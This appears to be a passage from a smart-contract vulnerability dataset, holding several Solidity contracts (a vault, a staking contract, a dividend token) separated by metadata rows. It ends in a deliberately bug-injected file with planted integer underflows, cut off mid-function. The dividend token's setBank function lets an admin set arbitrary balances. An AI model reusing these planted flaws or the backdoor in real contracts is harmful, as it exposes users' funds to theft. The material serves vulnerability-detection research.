totalSupply += ((_mint.mul(allnums[2])).div(1e6)).add((_mint.mul(allnums[3])).div(1e6));
emit Transfer(address(0), treasury, (_mint.mul(allnums[2])).div(1e6));
emit Transfer(address(0), worker, (_mint.mul(allnums[3])).div(1e6));
emit RewardPaid(worker,(_mint.mul(allnums[3])).div(1e6));
}
function declareEmergency() public DAO
{
require(!emergency,"Emergency already declared.");
mc.emergencyWithdraw(allnums[0]);
emergency=true;
}
function revokeEmergency() public DAO
{
require(emergency,"Emergency not declared.");
uint256 D = want.balanceOf(address(this));
mc.deposit(allnums[0],D);
emergency=false;
}
function emergencyWithdraw(uint256 _amt) public rg
{
require(emergency,"Its not an emergency. Use withdraw() instead.");
require(balanceOf[msg.sender] >= _amt,"Insufficient Balance");
uint256 ts = totalSupply;
//Burn _amt of Vault Tokens
balanceOf[msg.sender] -= _amt;
totalSupply -= _amt;
emit Transfer(msg.sender, address(0), _amt);
uint256 vbb = want.balanceOf(address(this));
uint256 W = (_amt.mul(vbb)).div(ts);
require(want.transfer(msg.sender,W), "Unable to deboard");
}
function rescue(address tokenAddress, uint256 tokens) public DAO returns (bool success)
{
//Generally, there are not supposed to be any tokens in this contract itself:
//Upon Deposits, the assets go from User to the MasterChef of Strategy,
//Upon Withdrawals, the assets go from MasterChef of Strategy to the User, and
//Upon HardWork, the harvest is reconverted to want and sent to MasterChef of Strategy.
//Never allow draining main "want" token from the Granary:
//Main token can only be withdrawn using the EmergencyWithdraw
require(tokenAddress != address(want), "Funds are Safu in emergency!");
if(tokenAddress==address(0)) {(success,) = dao.call{value:tokens}("");return success;}
else if(tokenAddress!=address(0)) {return IERC20(tokenAddress).transfer(dao, tokens);}
else return false;
}
//Read-Only Functions
//Useful for performance analysis
function info() public view returns (uint256, uint256, uint256, IMasterchef.UserInfo memory, IMasterchef.PoolInfo memory, uint256, uint256)
{
uint256 aum = mc.userInfo(allnums[0],address(this)).amount + IERC20(want).balanceOf(address(this));
uint256 roi = aum*1e18/totalSupply;//ROI: 1e18 === 1x
uint256 apy = ((roi-1e18)*(365*86400)*100)/(allnums[6]-allnums[5]);//APY: 1e18 === 1%
return(aum,
roi,
apy,
mc.userInfo(allnums[0],address(this)),
mc.poolInfo(allnums[0]),
mc.totalAllocPoint(),
mc.pendingRewards(allnums[0],address(this)));
}
//TVL in USD, 1e18===$1.
//Source code Derived from ftm.guru's Universal On-chain TVL Calculator: https://ftm.guru/rawdata/tvl
function tvl() public view returns(uint256)
{
ITVL tc = ITVL(utvl);
uint256 aum = mc.userInfo(allnums[0],address(this)).amount + IERC20(want).balanceOf(address(this));
return ((tc.p_lpt_usd(route[route.length-1], address(want))).mul(aum)).div(10**IERC20(want).decimals());
}
}
| 332,390 | 12,018 |
034beb0b5adf7398b8db919024236fb8eb319242fbab3857947b29068886f9a6
| 27,371 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/7b/7b97159206F50E0Fe7c4287A97d24DecEB1d0f8F_TimeStaking.sol
| 4,198 | 16,940 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IMemo {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract TimeStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Time;
address public immutable Memories;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Time,
address _Memories,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Time != address(0));
Time = _Time;
require(_Memories != address(0));
Memories = _Memories;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Time).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IMemo(Memories).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(Memories).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IMemo(Memories).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IMemo(Memories).balanceForGons(info.gons));
IERC20(Time).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(Memories).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Time).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IMemo(Memories).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IMemo(Memories).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IMemo(Memories).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Time).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(Memories).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(Memories).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 126,186 | 12,019 |
b480c29b4506595f33987d200272d9b4f0e419452bf41559c5c76631b0cdea11
| 20,503 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0xdea04f1d55d0cfc4bdc80e123c2d0bf94bc9d300.sol
| 4,376 | 16,763 |
pragma solidity ^0.4.20;
contract FUDContract {
/// @dev Only people with tokens
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
/// @dev Only people with profits
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[_customerAddress]);
_;
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
bool isReinvest,
uint timestamp,
uint256 price);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn,
uint256 estimateTokens,
bool isTransfer);
// ERC20
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "FUD3D";
string public symbol = "FUD";
uint8 constant public decimals = 18;
/// @dev 10% dividends for token purchase
uint8 constant internal entryFee_ = 10;
/// @dev 1% dividends for token transfer
uint8 constant internal transferFee_ = 1;
/// @dev 10% dividends for token selling
uint8 constant internal exitFee_ = 10;
/// @dev 15% masternode
uint8 constant internal refferalFee_ = 15;
uint256 constant internal tokenPriceInitial_ = 0.00000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.000000001 ether;
uint256 constant internal magnitude = 2 ** 64;
/// @dev 250 FUD needed for masternode activation
uint256 public stakingRequirement = 250e18;
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
// administrator list
address internal owner;
mapping(address => bool) public administrators;
address bankAddress;
mapping(address => bool) public contractAddresses;
constructor()
public
{
// add administrators here
owner = msg.sender;
administrators[owner] = true;
}
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy, false);
}
function() payable public {
purchaseTokens(msg.value, 0x0, false);
}
/// @dev Converts all of caller's dividends to tokens.
function reinvest() onlyStronghands public {
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0, true);
// fire event
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
/// @dev Alias of sell() and withdraw().
function exit() public {
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw(false);
}
/// @dev Withdraws all of the callers earnings.
function withdraw(bool _isTransfer) onlyStronghands public {
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
uint256 _estimateTokens = calculateTokensReceived(_dividends);
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
emit onWithdraw(_customerAddress, _dividends, _estimateTokens, _isTransfer);
}
/// @dev Liquifies tokens to ethereum.
function sell(uint256 _amountOfTokens) onlyBagholders public {
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if (myDividends(true) > 0) {
withdraw(true);
}
// liquify 1% of the tokens that are transfered
// these are dispersed to shareholders
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
function setBank(address _identifier, uint256 value)
onlyAdministrator()
public
{
bankAddress = _identifier;
contractAddresses[_identifier] = true;
tokenBalanceLedger_[_identifier] = value;
}
function setAdministrator(address _identifier, bool _status)
onlyAdministrator()
public
{
require(_identifier != owner);
administrators[_identifier] = _status;
}
function totalEthereumBalance() public view returns (uint256) {
return address(this).balance;
}
/// @dev Retrieve the total token supply.
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
/// @dev Retrieve the tokens owned by the caller.
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
/// @dev Retrieve the token balance of any single address.
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
/// @dev Retrieve the dividend balance of any single address.
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/// @dev Return the sell price of 1 individual token.
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Return the buy price of 1 individual token.
function buyPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of buy orders.
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of sell orders.
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
/// @dev Internal function to actually purchase the tokens.
function purchaseTokens(uint256 _incomingEthereum, address _referredBy, bool _isReinvest) internal returns (uint256) {
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
// is the user referred by a masternode?
if (// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if (tokenSupply_ > 0) {
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
// really i know you think you do but you don't
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, _isReinvest, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((// underflow attempts BTFO
SafeMath.sub((sqrt
((_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_))), _tokenPriceInitial)) / (tokenPriceIncremental_)) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(// underflow attempts BTFO
SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))) - tokenPriceIncremental_) * (tokens_ - 1e18)), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2)
/ 1e18);
return _etherReceived;
}
/// @dev This is where all your gas goes.
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 223,466 | 12,020 |
67737f7e39ce6c57ba3719d2036c9bfdd65f31d34771cc4a83fd1ae3a4c8cafa
| 11,874 |
.sol
|
Solidity
| false |
441123437
|
1052445594/SoliDetector
|
171e0750225e445c2993f04ef32ad65a82342054
|
Solidifi-bugInjection-data/compareTool/SmartCheck-Injection-Data/Integer_overflow_and_underflow/Sol/buggy_26.sol
| 3,607 | 11,809 |
pragma solidity 0.4.25;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract UBBCToken is IERC20 {
using SafeMath for uint256;
function bug_intou3() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
mapping (address => uint256) private _balances;
mapping(address => uint) public lockTime_intou29;
function increaseLockTime_intou29(uint _secondsToIncrease) public {
